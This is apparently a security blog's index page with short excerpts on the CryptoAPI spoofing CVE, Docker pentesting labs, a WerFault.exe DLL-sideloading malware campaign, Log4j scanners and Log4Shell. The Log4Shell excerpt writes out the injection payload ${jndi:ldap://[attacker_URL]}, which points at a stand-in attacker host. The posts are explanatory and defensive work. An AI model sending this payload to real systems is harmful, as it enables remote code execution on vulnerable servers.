Cyber Creatures

  Windows CryptoAPI Spoofing Vulnerability Proof of concept exploit code has been released by Akamai researchers for a critical Windows CryptoAPI vulnerability discovered by the NSA and U.K.'s NCSC allowing MD5-collision certificate spoofing . Tracked as CVE-2022-34689 , this security flaw was addressed with security updates released in August 2022 , but Microsoft only made this public in October, when the advisory was first published. " An attacker could manipulate an existing public x.509 certificate to spoof their identity and perform actions such as authentication or code signing as the targeted certificate, " Microsoft explains. Unauthenticated attackers can exploit this bug (tagged by Redmond as critical severity) in low-complexity attacks. Today, security researchers with the Akamai cloud security firm have published a proof of concept (PoC) exploit and shared an OSQuery to help defenders detect CryptoAPI library versions vulnerable to attacks.  " We have s...

Overview Having a flexible and isolated environment doesn’t just save us time , it can also be crucial for testing . Whether you’re deploying a real-world application stack for research, testing exploits, or setting up vulnerable apps for practice, you need a system that’s both adaptable and reliable . Enter Docker. Docker makes it easier than ever to deploy, scale, and manage applications in various environments . Today we’ll take a look at why Docker is a staple in my day to day tools, demonstrate its utility for pentesting and provide a quick-start guide to setting up labs and testing environments . What is Docker? Docker is a platform that uses containerization technology to package an application and its dependencies into a single container . Unlike traditional virtual machines (VMs) that virtualize the entire OS , Docker containers share the same OS kernel and isolate the application processes from each other. So what are the advantages over traditional VMs? Li...

  Hackers are abusing the Windows Problem Reporting (WerFault.exe) error reporting tool for Windows to load malware into a compromised system's memory using a DLL sideloading technique . The use of this Windows executable is to stealthy infect devices without raising any alarms on the breached system by launching the malware through a legitimate Windows executable . The new campaign was spotted by K7 Security Labs , which could not identify the hackers , but they are believed to be based in China . Abusing WerFault.exe The malware campaign starts with the arrival of an email with an ISO attachment . When double-clicked , the ISO will mount itself as a new drive letter containing a legitimate copy of the Windows WerFault.exe executable, a DLL file ('faultrep.dll') , an XLS file ('File.xls') , and a shortcut file ('inventory & our specialties.lnk') . The victim starts the infection chain by clicking on the shortcut file , which uses 'scr...

We should always think if we’re using software that has the Log4j component , it could be affected . We’re sharing some useful tools for you to help detect Log4j vulnerabilities . However, we want to clarify one thing: If these tools could not find anything at the moment , it does not mean that we’re safe. All tools and systems are still updating , new CVEs are being added . So, we need to follow updates, news, and details every day. a. log4j-scan You can use the Log4j scanning tool to check your system . This tool is a fully automated, accurate, and extensive scanner for finding log4j RCE CVE-2021-44228 . You can download from the Github repository and install the requirements easily . Installation : You need to clone the Github repository and install the required dependencies. $ git clone https://github.com/fullhunt/log4j-scan $ pip3 install -r requirements.txt Usage : You can run your log4j-scan script now if everything works fine. If you want to scan a single URL : $ pytho...

Introduction Log4Shell is a severe critical vulnerability affecting many versions of the Apache Log4j application . The vulnerability allows unauthenticated remote code execution . Attackers can take advantage of it by modifying their browser’s user-agent string to ${jndi:ldap://[attacker_URL]} format. This vulnerability can be found in products of some of the most famous technology vendors such as AWS, IBM, Cloudflare, Cisco, iCloud, Minecraft: Java Edition, Steam, and VMWare . On Dec. 9, 2021 , a remote code execution (RCE) vulnerability in Apache Log4j 2 was identified being exploited in the wild . Public proof of concept (PoC) code was released and subsequent investigation revealed that exploitation was incredibly easy to perform. By submitting a specially crafted request to a vulnerable system, depending on how the system is configured, an attacker is able to instruct that system to download and subsequently execute a malicious payload . Due to the discovery of this ...